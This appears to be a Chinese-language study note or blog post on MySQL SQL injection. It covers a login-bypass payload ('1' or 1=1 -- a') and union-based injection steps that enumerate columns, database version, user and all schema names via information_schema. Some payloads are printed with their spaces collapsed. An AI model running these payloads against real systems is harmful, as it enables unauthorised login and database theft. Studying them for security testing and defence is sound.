MYSQL注入

SQL注入

 

Sql注入存在的条件:

1、具备与数据库交互的条件。

2、用户端可以控制输入内容。

3、没有对用户的输入内容做一定程度的过滤。

 

根据请求方式分类:

1GET方式请求注入:常见产生位置url

2Post方式请求注入:常见产生位置post包的请求实体。

 

根据注入点参数方式分类:

1、数字型:select uname , password from users where uid=$id

2、字符型:select uname , password from users where uid=$id

3、搜索型:select uname , password from users where name like %$id%

 

万能密码解析:

例子代码:1’ or 1=1 -- a

原理select * from users where user=$user’ and password=123456

1后面的闭合符号把上面的sql语句拆分了如下

解析select * from users where user=1’ or 1=1 -- a’ and password=123456

-- asql语句的注释符号,#也是。注释符号后面的sql语句一律不会执行。

整条语句无形之中变成了这样select * from users where user=1’ or 1=1

or的运算法则是只有两边都为假时才会变成假。

 

联合注入:

通过Order by查询出列数,如:1’ order by 5 -- - (二分法)

Union 联合,将多条查询语句的结果合并成一个

假设是5列,然后需要找显示位,如:1’ union select 1,2,3,4,5  -- -  

Order by获取列是为了union正常执行

找到显示位之后在显示位上写要查询的代码,这样结果才会显示出页面

:1’ union select 1,2,3,version(),5 -- - 4号显示位显示数据库版本信息  

 

1’ union select version(),user() -- -  

1‘ union select 1,schema_name from information_schema.schemata -- -

Information_schema:存放所有数据库信息,

Schemata:存放所有数据库的信息

Tables:存放数据库中的表的信息,包括表属于哪个数据库、表的类型等等...

Columns:存放表的列信息,包括表有多少个列,每个列的类型等等.....

Mysql->user存放当前数据库的账户信息

Database()当前数据库名字

Version() 数据库版本

User() 当前用户名

Show columns:展示列数

Schema_name:存放的是数据库的名字

以下语句只会显示一个数据库的名字:

?id=-1‘ union select 1,2,schema_name from information_schema.schemata-- -

以下语句只会显示所有数据库的名字:

-1‘unionselect1,2,(selectgroup_concat(0x7e,(schema_name),0x7e)frominformation_schema.schemata) -- -

 

 

 

MYSQL注入

上一篇:苹果Mac智能照片编辑软件:Movavi Picverse


下一篇:uni-app使用低功耗蓝牙自动连接售货机